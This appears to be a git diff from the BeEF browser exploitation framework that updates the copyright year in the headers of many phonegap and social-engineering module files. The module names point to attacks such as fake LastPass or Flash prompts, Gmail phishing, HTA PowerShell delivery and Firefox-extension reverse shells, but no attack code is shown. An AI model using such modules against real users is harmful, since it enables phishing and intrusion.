a/modules/phonegap/phonegap_prompt_user/command.js b/modules/phonegap/phonegap_prompt_user/command.js index fe76c4e42..22359c4fa 100644 --- a/modules/phonegap/phonegap_prompt_user/command.js +++ b/modules/phonegap/phonegap_prompt_user/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_prompt_user/config.yaml b/modules/phonegap/phonegap_prompt_user/config.yaml index 4d17793fa..a2fb49b26 100644 --- a/modules/phonegap/phonegap_prompt_user/config.yaml +++ b/modules/phonegap/phonegap_prompt_user/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_prompt_user/module.rb b/modules/phonegap/phonegap_prompt_user/module.rb index 8c00dc218..b1f16bc9c 100644 --- a/modules/phonegap/phonegap_prompt_user/module.rb +++ b/modules/phonegap/phonegap_prompt_user/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_start_record_audio/command.js b/modules/phonegap/phonegap_start_record_audio/command.js index d5c312ac2..e26a93b07 100644 --- a/modules/phonegap/phonegap_start_record_audio/command.js +++ b/modules/phonegap/phonegap_start_record_audio/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_start_record_audio/config.yaml b/modules/phonegap/phonegap_start_record_audio/config.yaml index 99d7bf4c7..fdb75e33d 100644 --- a/modules/phonegap/phonegap_start_record_audio/config.yaml +++ b/modules/phonegap/phonegap_start_record_audio/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_start_record_audio/module.rb b/modules/phonegap/phonegap_start_record_audio/module.rb index 5e8ba7210..67c924bf9 100644 --- a/modules/phonegap/phonegap_start_record_audio/module.rb +++ b/modules/phonegap/phonegap_start_record_audio/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_stop_record_audio/command.js b/modules/phonegap/phonegap_stop_record_audio/command.js index 16d68dc04..cdfbfba19 100644 --- a/modules/phonegap/phonegap_stop_record_audio/command.js +++ b/modules/phonegap/phonegap_stop_record_audio/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/phonegap/phonegap_stop_record_audio/config.yaml b/modules/phonegap/phonegap_stop_record_audio/config.yaml index 2dc778d41..4cca44d24 100644 --- a/modules/phonegap/phonegap_stop_record_audio/config.yaml +++ b/modules/phonegap/phonegap_stop_record_audio/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/phonegap/phonegap_stop_record_audio/module.rb b/modules/phonegap/phonegap_stop_record_audio/module.rb index ac72445dc..abe7f7904 100644 --- a/modules/phonegap/phonegap_stop_record_audio/module.rb +++ b/modules/phonegap/phonegap_stop_record_audio/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/autocomplete_theft/command.js b/modules/social_engineering/autocomplete_theft/command.js index b05eba6f2..5d94da38c 100644 --- a/modules/social_engineering/autocomplete_theft/command.js +++ b/modules/social_engineering/autocomplete_theft/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/autocomplete_theft/config.yaml b/modules/social_engineering/autocomplete_theft/config.yaml index 5d163e0df..4f74cdf68 100644 --- a/modules/social_engineering/autocomplete_theft/config.yaml +++ b/modules/social_engineering/autocomplete_theft/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/autocomplete_theft/module.rb b/modules/social_engineering/autocomplete_theft/module.rb index 7b33940e7..b24f21c00 100644 --- a/modules/social_engineering/autocomplete_theft/module.rb +++ b/modules/social_engineering/autocomplete_theft/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/clickjacking/command.js b/modules/social_engineering/clickjacking/command.js index cc78b37e8..2d09cb787 100644 --- a/modules/social_engineering/clickjacking/command.js +++ b/modules/social_engineering/clickjacking/command.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/social_engineering/clickjacking/config.yaml b/modules/social_engineering/clickjacking/config.yaml index e12f7fbcf..86efb384f 100644 --- a/modules/social_engineering/clickjacking/config.yaml +++ b/modules/social_engineering/clickjacking/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/clickjacking/module.rb b/modules/social_engineering/clickjacking/module.rb index fc3dbee4d..ebaf87d52 100644 --- a/modules/social_engineering/clickjacking/module.rb +++ b/modules/social_engineering/clickjacking/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/clippy/command.js b/modules/social_engineering/clippy/command.js index 1a9adebb5..e934f42ac 100755 --- a/modules/social_engineering/clippy/command.js +++ b/modules/social_engineering/clippy/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/clippy/config.yaml b/modules/social_engineering/clippy/config.yaml index 244941630..ba8ffcff2 100755 --- a/modules/social_engineering/clippy/config.yaml +++ b/modules/social_engineering/clippy/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/clippy/module.rb b/modules/social_engineering/clippy/module.rb index 31b273dff..e87bb1068 100755 --- a/modules/social_engineering/clippy/module.rb +++ b/modules/social_engineering/clippy/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/edge_wscript_wsh_injection/command.js b/modules/social_engineering/edge_wscript_wsh_injection/command.js index 9133747e6..3f89ff211 100755 --- a/modules/social_engineering/edge_wscript_wsh_injection/command.js +++ b/modules/social_engineering/edge_wscript_wsh_injection/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/edge_wscript_wsh_injection/config.yaml b/modules/social_engineering/edge_wscript_wsh_injection/config.yaml index 1f68fa559..824de18a5 100755 --- a/modules/social_engineering/edge_wscript_wsh_injection/config.yaml +++ b/modules/social_engineering/edge_wscript_wsh_injection/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/edge_wscript_wsh_injection/module.rb b/modules/social_engineering/edge_wscript_wsh_injection/module.rb index 636bd1f7d..d7f12317b 100755 --- a/modules/social_engineering/edge_wscript_wsh_injection/module.rb +++ b/modules/social_engineering/edge_wscript_wsh_injection/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_evernote_clipper/command.js b/modules/social_engineering/fake_evernote_clipper/command.js index 63dc5c2b1..6ff21dca0 100755 --- a/modules/social_engineering/fake_evernote_clipper/command.js +++ b/modules/social_engineering/fake_evernote_clipper/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/fake_evernote_clipper/config.yaml b/modules/social_engineering/fake_evernote_clipper/config.yaml index 3ad12f292..1c3e3cf53 100755 --- a/modules/social_engineering/fake_evernote_clipper/config.yaml +++ b/modules/social_engineering/fake_evernote_clipper/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_evernote_clipper/module.rb b/modules/social_engineering/fake_evernote_clipper/module.rb index e0ad21e61..87ab41ed0 100755 --- a/modules/social_engineering/fake_evernote_clipper/module.rb +++ b/modules/social_engineering/fake_evernote_clipper/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_flash_update/command.js b/modules/social_engineering/fake_flash_update/command.js index 535a80a23..a7b53fd53 100755 --- a/modules/social_engineering/fake_flash_update/command.js +++ b/modules/social_engineering/fake_flash_update/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/fake_flash_update/config.yaml b/modules/social_engineering/fake_flash_update/config.yaml index 31ed7a006..5847d69d1 100755 --- a/modules/social_engineering/fake_flash_update/config.yaml +++ b/modules/social_engineering/fake_flash_update/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_flash_update/module.rb b/modules/social_engineering/fake_flash_update/module.rb index 7a10b2df7..e74e5a40a 100755 --- a/modules/social_engineering/fake_flash_update/module.rb +++ b/modules/social_engineering/fake_flash_update/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_lastpass/command.js b/modules/social_engineering/fake_lastpass/command.js index 312d0d9e5..aa73a518d 100755 --- a/modules/social_engineering/fake_lastpass/command.js +++ b/modules/social_engineering/fake_lastpass/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/fake_lastpass/config.yaml b/modules/social_engineering/fake_lastpass/config.yaml index e74f5eafe..590ca9235 100755 --- a/modules/social_engineering/fake_lastpass/config.yaml +++ b/modules/social_engineering/fake_lastpass/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_lastpass/module.rb b/modules/social_engineering/fake_lastpass/module.rb index 7101b2da0..199db2484 100755 --- a/modules/social_engineering/fake_lastpass/module.rb +++ b/modules/social_engineering/fake_lastpass/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_notification/command.js b/modules/social_engineering/fake_notification/command.js index 4e1e1e2fe..647f1979f 100644 --- a/modules/social_engineering/fake_notification/command.js +++ b/modules/social_engineering/fake_notification/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/fake_notification/config.yaml b/modules/social_engineering/fake_notification/config.yaml index 4b3b2df6f..2e269913d 100644 --- a/modules/social_engineering/fake_notification/config.yaml +++ b/modules/social_engineering/fake_notification/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_notification/module.rb b/modules/social_engineering/fake_notification/module.rb index 5549555e5..e3d59ca74 100644 --- a/modules/social_engineering/fake_notification/module.rb +++ b/modules/social_engineering/fake_notification/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_notification_c/command.js b/modules/social_engineering/fake_notification_c/command.js index 54ec04ed5..c3f0bfbad 100644 --- a/modules/social_engineering/fake_notification_c/command.js +++ b/modules/social_engineering/fake_notification_c/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/fake_notification_c/config.yaml b/modules/social_engineering/fake_notification_c/config.yaml index c70d64c7e..cf9070173 100644 --- a/modules/social_engineering/fake_notification_c/config.yaml +++ b/modules/social_engineering/fake_notification_c/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_notification_c/module.rb b/modules/social_engineering/fake_notification_c/module.rb index 84d8ce583..12997c04b 100644 --- a/modules/social_engineering/fake_notification_c/module.rb +++ b/modules/social_engineering/fake_notification_c/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_notification_ff/command.js b/modules/social_engineering/fake_notification_ff/command.js index 59f77038e..dab0687e0 100644 --- a/modules/social_engineering/fake_notification_ff/command.js +++ b/modules/social_engineering/fake_notification_ff/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/fake_notification_ff/config.yaml b/modules/social_engineering/fake_notification_ff/config.yaml index d7bf13960..89ce5cc18 100644 --- a/modules/social_engineering/fake_notification_ff/config.yaml +++ b/modules/social_engineering/fake_notification_ff/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_notification_ff/module.rb b/modules/social_engineering/fake_notification_ff/module.rb index 74cad692e..cd6cdaf85 100644 --- a/modules/social_engineering/fake_notification_ff/module.rb +++ b/modules/social_engineering/fake_notification_ff/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_notification_ie/command.js b/modules/social_engineering/fake_notification_ie/command.js index e0527c3e8..4b4c14d6d 100644 --- a/modules/social_engineering/fake_notification_ie/command.js +++ b/modules/social_engineering/fake_notification_ie/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/fake_notification_ie/config.yaml b/modules/social_engineering/fake_notification_ie/config.yaml index 5992de869..8fa200048 100644 --- a/modules/social_engineering/fake_notification_ie/config.yaml +++ b/modules/social_engineering/fake_notification_ie/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/fake_notification_ie/module.rb b/modules/social_engineering/fake_notification_ie/module.rb index 7902fa366..f2f249f7a 100644 --- a/modules/social_engineering/fake_notification_ie/module.rb +++ b/modules/social_engineering/fake_notification_ie/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/firefox_extension_bindshell/command.js b/modules/social_engineering/firefox_extension_bindshell/command.js index 0cd96cd2a..b47c105d2 100644 --- a/modules/social_engineering/firefox_extension_bindshell/command.js +++ b/modules/social_engineering/firefox_extension_bindshell/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/firefox_extension_bindshell/config.yaml b/modules/social_engineering/firefox_extension_bindshell/config.yaml index fc264de98..14a5ec081 100644 --- a/modules/social_engineering/firefox_extension_bindshell/config.yaml +++ b/modules/social_engineering/firefox_extension_bindshell/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/firefox_extension_bindshell/module.rb b/modules/social_engineering/firefox_extension_bindshell/module.rb index 305571441..579c97fe4 100644 --- a/modules/social_engineering/firefox_extension_bindshell/module.rb +++ b/modules/social_engineering/firefox_extension_bindshell/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/firefox_extension_dropper/command.js b/modules/social_engineering/firefox_extension_dropper/command.js index 61c2da6fe..c3271d274 100644 --- a/modules/social_engineering/firefox_extension_dropper/command.js +++ b/modules/social_engineering/firefox_extension_dropper/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/firefox_extension_dropper/config.yaml b/modules/social_engineering/firefox_extension_dropper/config.yaml index 006c8fad9..0ad6d925c 100644 --- a/modules/social_engineering/firefox_extension_dropper/config.yaml +++ b/modules/social_engineering/firefox_extension_dropper/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/firefox_extension_dropper/module.rb b/modules/social_engineering/firefox_extension_dropper/module.rb index 003d39719..89cf80588 100644 --- a/modules/social_engineering/firefox_extension_dropper/module.rb +++ b/modules/social_engineering/firefox_extension_dropper/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/firefox_extension_reverse_shell/command.js b/modules/social_engineering/firefox_extension_reverse_shell/command.js index 0cd96cd2a..b47c105d2 100644 --- a/modules/social_engineering/firefox_extension_reverse_shell/command.js +++ b/modules/social_engineering/firefox_extension_reverse_shell/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/firefox_extension_reverse_shell/config.yaml b/modules/social_engineering/firefox_extension_reverse_shell/config.yaml index d1d310ff6..75d62fc07 100644 --- a/modules/social_engineering/firefox_extension_reverse_shell/config.yaml +++ b/modules/social_engineering/firefox_extension_reverse_shell/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/firefox_extension_reverse_shell/module.rb b/modules/social_engineering/firefox_extension_reverse_shell/module.rb index bf9ffc8e0..b03808dde 100644 --- a/modules/social_engineering/firefox_extension_reverse_shell/module.rb +++ b/modules/social_engineering/firefox_extension_reverse_shell/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/gmail_phishing/command.js b/modules/social_engineering/gmail_phishing/command.js index 9c0f37f62..c3277234d 100644 --- a/modules/social_engineering/gmail_phishing/command.js +++ b/modules/social_engineering/gmail_phishing/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/gmail_phishing/config.yaml b/modules/social_engineering/gmail_phishing/config.yaml index 53637ce10..d71c3d28d 100644 --- a/modules/social_engineering/gmail_phishing/config.yaml +++ b/modules/social_engineering/gmail_phishing/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/gmail_phishing/module.rb b/modules/social_engineering/gmail_phishing/module.rb index 09cb08c84..924ff061c 100644 --- a/modules/social_engineering/gmail_phishing/module.rb +++ b/modules/social_engineering/gmail_phishing/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/hta_powershell/command.js b/modules/social_engineering/hta_powershell/command.js index acdf56b63..db45cd5ea 100755 --- a/modules/social_engineering/hta_powershell/command.js +++ b/modules/social_engineering/hta_powershell/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/hta_powershell/config.yaml b/modules/social_engineering/hta_powershell/config.yaml index 6335a4d11..57efa40cd 100755 --- a/modules/social_engineering/hta_powershell/config.yaml +++ b/modules/social_engineering/hta_powershell/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/hta_powershell/module.rb b/modules/social_engineering/hta_powershell/module.rb index 6dbed97ac..aaeb6c072 100755 --- a/modules/social_engineering/hta_powershell/module.rb +++ b/modules/social_engineering/hta_powershell/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/social_engineering/lcamtuf_download/command.js b/modules/social_engineering/lcamtuf_download/command.js index 53918a34a..f718ea4f6 100644 --- a/modules/social_engineering/lcamtuf_download/command.js +++ b/modules/social_engineering/lcamtuf_download/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/social_engineering/lcamtuf_download/config.yaml b/modules/social_engineering/lcamtuf_download/config.yaml index 5a1dee5f6..30f154150 